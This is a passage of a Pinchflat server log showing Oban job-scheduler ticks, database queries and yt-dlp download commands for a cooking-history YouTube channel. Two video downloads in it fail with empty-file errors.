/tmp/pinchflat/data/29/81/298118a8494de3cb1a907cc3619986b6768b88ec87d33a53916200150acfa733.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:47:48.244 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.234 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:48:18.246 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:48.247 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.235 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:49:18.249 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:48.251 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.236 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:50:18.252 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:48.253 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.237 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:51:05.504 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774954265504514410,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:51:05.504 [debug] QUERY OK source="media_items" db=0.1ms idle=107.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 06:51:05.505 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:51:05.505 [debug] QUERY OK source="sources" db=0.2ms idle=107.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:51:05.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=108.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:51:05.506 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 06:51:05.506 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 06:51:05.507 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:51:05.507 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:05.507 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:05.507 [debug] Running yt-dlp command for action: get_downloadable_status 06:51:05.508 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:05.508 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:05.508 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:05.508 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/08/44084b2c2df1446cc2c72b56b1f7cfec7b61a1ab3ef4b5f385520612192a6c5d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:51:09.392 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/44/08/44084b2c2df1446cc2c72b56b1f7cfec7b61a1ab3ef4b5f385520612192a6c5d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:51:09.392 [debug] Running yt-dlp command for action: download 06:51:09.393 [debug] QUERY OK source="settings" db=0.1ms idle=1995.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:09.393 [debug] QUERY OK source="settings" db=0.1ms idle=1995.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:09.393 [debug] QUERY OK source="settings" db=0.1ms idle=1995.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:51:09.393 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/de/f3de2a62abd30a8d5cdc2bb8c0b7a6a15fb8e06453fe5bf7409c4ad779d32777.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:51:18.254 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:48.255 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.238 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:52:14.539 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/29/81/298118a8494de3cb1a907cc3619986b6768b88ec87d33a53916200150acfa733.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 06:52:14.539 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 06:52:14.540 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288278421,"event":"job:exception","queue_time":899662,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:52:18.256 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:48.257 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.239 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:53:18.258 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:48.259 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.240 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:54:18.261 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:48.262 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.241 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:55:18.264 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:48.265 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.242 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:56:18.267 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:23.658 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/de/f3de2a62abd30a8d5cdc2bb8c0b7a6a15fb8e06453fe5bf7409c4ad779d32777.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)... ERROR: The downloaded file is empty 06:56:23.658 [error] yt-dlp download error for media item #11535: "WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: The downloaded file is empty\n" 06:56:23.658 [error] Unable to recover error for media item #11535: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 06:56:23.659 [debug] QUERY OK source="media_items" db=0.9ms idle=807.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: The downloaded file is empty\n", ~U[2026-03-31 10:56:23Z], 11535] 06:56:23.660 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":318155146,"event":"job:exception","queue_time":555182,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:56:48.268 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.243 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:57:18.270 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:48.271 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.244 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:58:18.272 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:48.273 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.245 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:59:18.274 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:48.275 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.247 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:00:18.276 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:48.277 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.247 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:01:18.278 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:48.280 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.248 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:02:18.281 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:48.282 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.249 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:03:18.283 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:48.284 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.250 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:04:18.286 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:48.288 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.251 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:05:18.289 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:48.290 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.252 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:06:18.291 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:48.292 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.253 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:07:18.293 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:48.294 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.254 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:08:18.295 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:48.296 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.255 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:09:18.297 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:48.298 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.256 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:10:18.299 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:48.300 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.257 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:11:18.301 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:48.302 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.258 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:12:18.304 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:48.305 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.259 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:13:18.307 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:48.308 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.260 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:14:18.309 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:48.310 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.261 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:15:18.311 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:48.312 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.262 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:16:18.313 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:48.314 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.263 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:17:18.315 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:48.316 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.264 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:18:18.317 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:48.318 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.265 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:19:18.319 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:48.320 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.266 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:20:18.321 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:48.322 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.267 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:21:18.323 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:48.324 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.268 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:22:18.325 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:48.326 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.269 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:23:18.327 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:48.328 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.270 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:24:18.329 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:48.330 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.271 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:25:18.331 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:48.332 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.272 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:26:18.333 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:48.334 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.273 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:27:18.335 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:48.336 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.275 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:28:18.337 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:48.339 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.275 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:29:18.340 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:48.341 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.276 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:30:18.342 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:48.343 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.277 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:31:18.344 [info] 